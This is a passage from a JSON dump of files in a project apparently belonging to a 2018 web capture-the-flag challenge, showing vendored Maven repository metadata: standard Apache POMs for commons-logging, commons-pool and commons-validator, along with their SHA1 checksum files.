-->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-failsafe-plugin</artifactId>\n        <version>${commons.surefire.version}</version>        \n        <executions>\n          <execution>\n            <id>integration-test</id>\n            <goals>\n              <goal>integration-test</goal>\n              <goal>verify</goal>\n            </goals>\n            <configuration>\n              <runOrder>${failsafe.runorder}</runOrder>\n              <includes>\n                <include>**/*TestCase.java</include>\n              </includes>\n              <systemPropertyVariables>\n                <!--\n                  <org.apache.commons.logging.diagnostics.dest>STDOUT</org.apache.commons.logging.diagnostics.dest>\n                -->\n                  <log4j12>${log4j:log4j:jar}</log4j12>\n                  <logkit>${logkit:logkit:jar}</logkit>\n                  <servlet-api>${javax.servlet:servlet-api:jar}</servlet-api>\n                  <commons-logging>target/${project.build.finalName}.jar</commons-logging>\n                  <commons-logging-api>target/${project.artifactId}-api-${project.version}.jar</commons-logging-api>\n                  <commons-logging-adapters>target/${project.artifactId}-adapters-${project.version}.jar</commons-logging-adapters>\n                  <testclasses>target/commons-logging-tests.jar</testclasses>\n              </systemPropertyVariables>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/bin.xml</descriptor>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <!-- Define properties for referencing dependencies -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-dependency-plugin</artifactId>\n        <version>2.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>properties</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <configuration>\n          <ignorePathsToDelete>\n            <ignorePathToDelete>javadocs</ignorePathToDelete>\n            <ignorePathToDelete>commons-logging-**</ignorePathToDelete>\n          </ignorePathsToDelete>\n        </configuration>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.17</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>1.0.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>avalon-framework</groupId>\n      <artifactId>avalon-framework</artifactId>\n      <version>4.1.5</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n          <headerFile>${basedir}/license-header.txt</headerFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.2.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>2.5.2</version>\n        <configuration>\n          <skip>true</skip>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>3.0.1</version>\n        <configuration>\n          <!-- targetJdk 1.1, 1.2 is not supported -->\n          <targetJdk>1.3</targetJdk>\n          <linkXref>true</linkXref>\n          <rulesets>\n            <ruleset>${basedir}/pmd.xml</ruleset>\n          </rulesets>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/logging/</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.compiler.source>1.2</maven.compiler.source>\n    <maven.compiler.target>1.2</maven.compiler.target>\n    <commons.componentid>logging</commons.componentid>\n    <commons.release.version>1.2</commons.release.version>\n    <commons.jira.id>LOGGING</commons.jira.id>\n    <commons.jira.pid>12310484</commons.jira.pid>\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC2</commons.rc.version>\n    <commons.surefire.version>2.12</commons.surefire.version>\n    <skipSurefireReport>true</skipSurefireReport>\n    <!-- Allow default test run order to be changed -->\n    <failsafe.runorder>filesystem</failsafe.runorder>\n    \n    <commons.osgi.import>\n      javax.servlet;version=\"[2.1.0, 3.0.0)\";resolution:=optional,\n      org.apache.avalon.framework.logger;version=\"[4.1.3, 4.1.5]\";resolution:=optional,\n      org.apache.log;version=\"[1.0.1, 1.0.1]\";resolution:=optional,\n      org.apache.log4j;version=\"[1.2.15, 2.0.0)\";resolution:=optional\n    </commons.osgi.import>\n  </properties>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.pom.sha1",
    "content": "075c03ba4b01932842a996ef8d3fc1ab61ddeac2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\ncommons-logging-api-1.1.jar>central=\ncommons-logging-api-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.jar.sha1",
    "content": "7d4cf5231d46c8524f9b9ed75bb2d1c69ab93322"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging-api</artifactId>\n  <name>Logging</name>\n  <version>1.1</version>\n  <description>Commons Logging is a thin adapter allowing configurable bridging to other,\n    well known logging systems.</description>\n  <url>http://jakarta.apache.org/commons/logging/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/jira/browse/LOGGING</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email>morgand at apache dot org</email>\n      <organization>Apache</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>donaldp</id>\n      <name>Peter Donald</name>\n      <email>donaldp at apache dot org</email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>costin</id>\n      <name>Costin Manolache</name>\n      <email>costin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rsitze</id>\n      <name>Richard Sitze</name>\n      <email>rsitze at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>baliuka</id>\n      <name>Juozas Baliuka</name>\n      <email>baliuka@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>skitching</id>\n      <name>Simon Kitching</name>\n      <email>skitching@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>bstansberry</id>\n      <name>Brian Stansberry</name>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/logging/trunk/</connection>\n    <url>http://svn.apache.org/repos/asf/jakarta/commons/proper/logging/trunk/</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-xdoc-plugin</artifactId>\n        <version>1.9.2</version>\n        <configuration>\n          <optional>true</optional>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.9.2 (minimum)</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/logging/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://people.apache.org//www/jakarta.apache.org/commons/logging/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.pom.sha1",
    "content": "825395875e4a7ac53277f5f746085a3e13a04248"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\ncommons-pool-1.5.4.jar>central=\ncommons-pool-1.5.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.jar.sha1",
    "content": "75b6e20c596ed2945a259cea26d7fadd298398e6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>12</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-pool</groupId>\n  <artifactId>commons-pool</artifactId>\n  <version>1.5.4</version>\n  <name>Commons Pool</name>\n\n  <inceptionYear>2001</inceptionYear>\n  <description>Commons Object Pooling Library</description>\n\n  <url>http://commons.apache.org/pool/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/POOL</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/pool/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/pool/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/pool/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Morgan Delagrange</name>\n      <id>morgand</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Geir Magnusson</name>\n      <id>geirm</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Craig McClanahan</name>\n      <id>craigmcc</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>David Weinrich</name>\n      <id>dweinr1</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Dirk Verbeeck</name>\n      <id>dirkv</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n      <email></email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Sandy McArthur</name>\n      <id>sandymac</id>\n      <email></email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Phil Steitz</name>\n      <id>psteitz</id>\n      <email></email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Todd Carmichael</name>\n      <email>toddc@concur.com</email>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <distributionManagement>\n    <!-- Cannot define in parent ATM, see COMMONSSITE-26 -->\n    <site>\n      <id>apache.website</id>\n      <name>Apache Commons Site</name>\n      <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/pool</url>\n    </site>\n  </distributionManagement>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n    <commons.componentid>pool</commons.componentid>\n    <commons.release.version>1.5.4</commons.release.version>\n    <commons.jira.id>POOL</commons.jira.id>\n    <commons.jira.pid>12310488</commons.jira.pid>\n  </properties> \n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <!-- Override plugin versions in parent Pom, which are too old to support manifests -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n            <configuration>\n              <includes>\n        <include>org/apache/commons/pool/TestBaseObjectPool.java</include>\n        <include>org/apache/commons/pool/TestBaseKeyedObjectPool.java</include>\n        <include>org/apache/commons/pool/TestBasePoolableObjectFactory.java</include>\n        <include>org/apache/commons/pool/TestBaseKeyedPoolableObjectFactory.java</include>\n        <include>org/apache/commons/pool/TestPoolUtils.java</include>\n\n        <include>org/apache/commons/pool/impl/TestStackObjectPool.java</include>\n        <include>org/apache/commons/pool/impl/TestStackKeyedObjectPool.java</include>\n        <include>org/apache/commons/pool/impl/TestGenericObjectPool.java</include>\n        <include>org/apache/commons/pool/impl/TestGenericKeyedObjectPool.java</include>\n        <include>org/apache/commons/pool/impl/TestSoftReferenceObjectPool.java</include>\n        <!--<include>org/apache/commons/pool/impl/TestSoftRefOutOfMemory.java</include>-->\n        <include>org/apache/commons/pool/impl/TestGenericObjectPoolFactory.java</include>\n        <include>org/apache/commons/pool/impl/TestStackObjectPoolFactory.java</include>\n        <include>org/apache/commons/pool/impl/TestGenericKeyedObjectPoolFactory.java</include>\n        <include>org/apache/commons/pool/impl/TestStackKeyedObjectPoolFactory.java</include>\n\n        <include>org/apache/commons/pool/composite/TestFifoLender.java</include>\n        <include>org/apache/commons/pool/composite/TestIdleEvictorLender.java</include>\n        <include>org/apache/commons/pool/composite/TestInvalidEvictorLender.java</include>\n        <include>org/apache/commons/pool/composite/TestLifoLender.java</include>\n        <include>org/apache/commons/pool/composite/TestNullLender.java</include>\n        <include>org/apache/commons/pool/composite/TestSoftLender.java</include>\n\n        <include>org/apache/commons/pool/composite/TestFailManager.java</include>\n        <include>org/apache/commons/pool/composite/TestGrowManager.java</include>\n        <include>org/apache/commons/pool/composite/TestIdleLimitManager.java</include>\n        <include>org/apache/commons/pool/composite/TestFailLimitManager.java</include>\n        <include>org/apache/commons/pool/composite/TestWaitLimitManager.java</include>\n\n        <include>org/apache/commons/pool/composite/TestNullTracker.java</include>\n        <include>org/apache/commons/pool/composite/TestReferenceTracker.java</include>\n        <include>org/apache/commons/pool/composite/TestDebugTracker.java</include>\n        <include>org/apache/commons/pool/composite/TestSimpleTracker.java</include>\n        <include>org/apache/commons/pool/composite/TestCompositeObjectPool.java</include>\n        <include>org/apache/commons/pool/composite/TestCompositeKeyedObjectPool.java</include>\n        <include>org/apache/commons/pool/composite/TestCompositeKeyedObjectPool2.java</include>\n        <include>org/apache/commons/pool/composite/TestCompositeKeyedObjectPoolFactory.java</include>\n        </includes>  \n       </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <configuration>\n            <descriptors>\n              <descriptor>src/assembly/bin.xml</descriptor>\n              <descriptor>src/assembly/src.xml</descriptor>\n            </descriptors>\n            <tarLongFileMode>gnu</tarLongFileMode>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n      </plugins>\n    </build>\n\n    <reporting>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <xmlPath>${basedir}/xdocs/changes.xml</xmlPath>\n            <issueLinkTemplate>%URL%/%ISSUE%</issueLinkTemplate>\n            <template>pool-release-notes.vm</template>\n            <templateDirectory>src/template</templateDirectory>\n          </configuration>\n          <reportSets>\n            <reportSet>\n              <reports>\n                 <report>changes-report</report>\n              </reports>\n            </reportSet>\n          </reportSets>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n          <configuration>\n            <comparisonVersion>1.5</comparisonVersion>\n            <minSeverity>info</minSeverity>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-pmd-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <rulesets>\n              <ruleset>checkstyle.xml</ruleset>\n            </rulesets>\n            <linkXref>true</linkXref>\n            <targetJdk>1.5</targetJdk>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <configLocation>${basedir}/checkstyle.xml</configLocation>\n            <enableRulesSummary>false</enableRulesSummary>\n            <headerFile>${basedir}/license-header.txt</headerFile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>1.2</version>\n          <configuration>\n            <threshold>Normal</threshold>\n            <effort>Default</effort>\n            <excludeFilterFile>${basedir}/findbugs-exclude-filter.xml</excludeFilterFile>\n          </configuration>\n        </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n      </plugins>\n    </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.pom.sha1",
    "content": "dd31854c32be18535c5b7efb5f8d39b4aef434f7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-validator-1.3.1.jar>central=\ncommons-validator-1.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.jar.sha1",
    "content": "d1fd6b1510f25e827adffcf17de3c85fa00e9391"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-validator</groupId>\n  <artifactId>commons-validator</artifactId>\n  <name>Validator</name>\n  <version>1.3.1</version>\n  <description>Commons Validator provides the building blocks for both client side validation\n    and server side data validation. It may be used standalone or with a framework like\n    Struts.</description>\n  <url>http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/jira/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2002</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>mrdon</id>\n      <name>Don Brown</name>\n      <email>mrdon@apache.org</email>\n    </developer>\n    <developer>\n      <id>martinc</id>\n      <name>Martin Cooper</name>\n      <email>martinc@apache.org</email>\n    </developer>\n    <developer>\n      <id>dgraham</id>\n      <name>David Graham</name>\n      <email>dgraham@apache.org</email>\n    </developer>\n    <developer>\n      <id>husted</id>\n      <name>Ted Husted</name>\n      <email>husted@apache.org</email>\n    </developer>\n    <developer>\n      <id>rleland</id>\n      <name>Rob Leland</name>\n      <email>rleland at apache.org</email>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc@apache.org</email>\n    </developer>\n    <developer>\n      <id>jmitchell</id>\n      <name>James Mitchell</name>\n      <email>jmitchell NOSPAM apache.org</email>\n      <organization>EdgeTech, Inc</organization>\n    </developer>\n    <developer>\n      <id>niallp</id>\n      <name>Niall Pemberton</name>\n    </developer>\n    <developer>\n      <id>turner</id>\n      <name>James Turner</name>\n      <email>turner@apache.org</email>\n    </developer>\n    <developer>\n      <id>dwinterfeldt</id>\n      <name>David Winterfeldt</name>\n      <email>dwinterfeldt@apache.org</email>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Saul Q Yuan Add</name>\n    </contributor>\n    <contributor>\n      <name>Shane Bailey</name>\n    </contributor>\n    <contributor>\n      <name>Dave Derry</name>\n    </contributor>\n    <contributor>\n      <name>Tim O'Brien</name>\n    </contributor>\n    <contributor>\n      <name>Scott Clasen</name>\n      <email>ticktock@speakeasy.net></email>\n    </contributor>\n    <contributor>\n      <name>Marcus Brito Finish</name>\n    </contributor>\n    <contributor>\n      <name>Padma Ginnaram</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Jacob</name>\n      <email>thomas.jacob@sinnerschrader.com</email>\n    </contributor>\n    <contributor>\n      <name>Adam Kramer</name>\n    </contributor>\n    <contributor>\n      <name>Greg Ludington</name>\n    </contributor>\n    <contributor>\n      <name>Bjorn-H. Moritz</name>\n    </contributor>\n    <contributor>\n      <name>David Neuer</name>\n      <email>DavidNeuer@nascopgh.com</email>\n    </contributor>\n    <contributor>\n      <name>Kurt Post</name>\n    </contributor>\n    <contributor>\n      <name>Arun Mammen Thomas</name>\n    </contributor>\n    <contributor>\n      <name>Steven Fines</name>\n      <email>steven.fines@cotelligent.com</email>\n    </contributor>\n    <contributor>\n      <name>Didier Romelot</name>\n      <email>didier.romelot@renault.com</email>\n    </contributor>\n    <contributor>\n      <name>Steve Stair</name>\n    </contributor>\n    <contributor>\n      <name>Jeremy Tan</name>\n      <email>jeremytan@scualum.com</email>\n    </contributor>\n    <contributor>\n      <name>94RGt2</name>\n      <email>lmagee@biziworks.com.au</email>\n    </contributor>\n    <contributor>\n      <name>Nacho G. Mac Dowell</name>\n    </contributor>\n    <contributor>\n      <name>Mark Lowe</name>\n      <email>mark.lowe@boxstuff.com</email>\n    </contributor>\n  </contributors>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</connection>\n    <url>http://svn.apache.org/viewvc</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/share</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <targetPath>META-INF</targetPath>\n        <directory>${basedir}</directory>\n        <includes>\n          <include>NOTICE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>${pom.build.unitTestSourceDirectory}</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test.java</include>\n          </includes>\n          <excludes>\n            <exclude>**/routines/BaseCalendarValidatorTest.java</exclude>\n            <exclude>**/routines/BaseNumberValidatorTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-xdoc-plugin</artifactId>\n        <version>1.9.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.9.2 (minimum)\n              required for building the Validator Site documentation.</comment>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changelog-plugin</artifactId>\n        <version>1.8.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.8.2 (minimum)\n              required for building the Validator Site documentation.</comment>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>1.6</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.6 (minimum)\n              required for building the Validator Site documentation.</comment>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>maven-plugins</groupId>\n        <artifactId>maven-cobertura-plugin</artifactId>\n        <version>1.1.1</version>\n        <configuration>\n          <scope>test</scope>\n          <comment>Required only for generating test coverage reports.</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>commons-beanutils</groupId>\n      <artifactId>commons-beanutils</artifactId>\n      <version>1.7.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-digester</groupId>\n      